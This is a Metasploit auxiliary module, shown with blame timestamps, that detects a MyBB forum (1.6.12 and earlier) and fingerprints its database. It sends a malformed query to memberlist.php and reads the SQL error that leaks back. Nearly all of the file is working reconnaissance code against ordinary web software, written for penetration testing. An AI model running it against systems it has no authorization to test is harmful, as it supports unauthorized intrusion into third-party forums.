metasploit-framework/modules/auxiliary/gather/mybb_db_fingerprint.rb

111 lines
2.9 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
2014-05-27 15:29:32 +00:00
'Name' => 'MyBB Database Fingerprint',
'Description' => %q{
2014-05-27 15:14:55 +00:00
This module checks if MyBB is running behind an URL. Also uses a malformed query to
2014-05-27 15:22:39 +00:00
force an error and fingerprint the backend database used by MyBB on version 1.6.12
and prior.
},
2014-05-27 15:14:55 +00:00
'Author' =>
[
#http://www.linkedin.com/pub/arthur-karmanovskii/82/923/812
2014-05-27 15:14:55 +00:00
'Arthur Karmanovskii <fnsnic[at]gmail.com>' # Discovery and Metasploit Module
],
2014-05-27 15:14:55 +00:00
'License' => MSF_LICENSE,
'DisclosureDate' => 'Feb 13 2014'))
register_options(
[
OptString.new('TARGETURI', [ true, "MyBB forum directory path", '/forum'])
], self.class)
end
def check
begin
uri = normalize_uri(target_uri.path, 'index.php')
res = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'intcheck' => 1
}
})
2014-05-27 15:14:55 +00:00
if res.nil? || res.code != 200
return Exploit::CheckCode::Unknown
end
#Check PhP
php_version = res['X-Powered-By']
if php_version
2014-05-27 15:18:27 +00:00
php_version = "#{php_version}"
else
2014-05-27 15:14:55 +00:00
php_version = "PHP version unknown"
end
#Check Web-Server
web_server = res['Server']
if web_server
2014-05-27 15:14:55 +00:00
web_server = "#{web_server}"
else
2014-05-27 15:14:55 +00:00
web_server = "unknown web server"
end
#Check forum MyBB
if res.body.match("&#077;&#089;&#066;&#066;")
2014-05-27 15:14:55 +00:00
print_good("#{peer} - MyBB forum found running on #{web_server} / #{php_version}")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Unknown
end
2014-05-27 15:14:55 +00:00
rescue
return Exploit::CheckCode::Unknown
end
end
def run
2014-05-27 15:14:55 +00:00
print_status("#{peer} - Checking MyBB...")
unless check == Exploit::CheckCode::Detected
print_error("#{peer} - MyBB not found")
return
end
print_status("#{peer} - Checking database...")
uri = normalize_uri(target_uri.path, 'memberlist.php')
response = send_request_cgi(
{
'method' => 'GET',
'uri' => uri,
'vars_get' => {
'letter' => -1
}
})
if response.nil?
2014-05-27 15:14:55 +00:00
print_error("#{peer} - Timeout...")
return
end
#Resolve response
if response.body.match(/SELECT COUNT\(\*\) AS users FROM mybb_users u WHERE 1=1 AND u.username NOT REGEXP\(\'\[a-zA-Z\]\'\)/)
2014-05-27 15:14:55 +00:00
print_good("#{peer} - Running PostgreSQL Database")
elsif response.body.match(/General error\: 1 no such function\: REGEXP/)
2014-05-27 15:14:55 +00:00
print_good("#{peer} - Running SQLite Database")
else
2014-05-27 15:14:55 +00:00
print_status("#{peer} - Running MySQL or unknown database")
end
end
end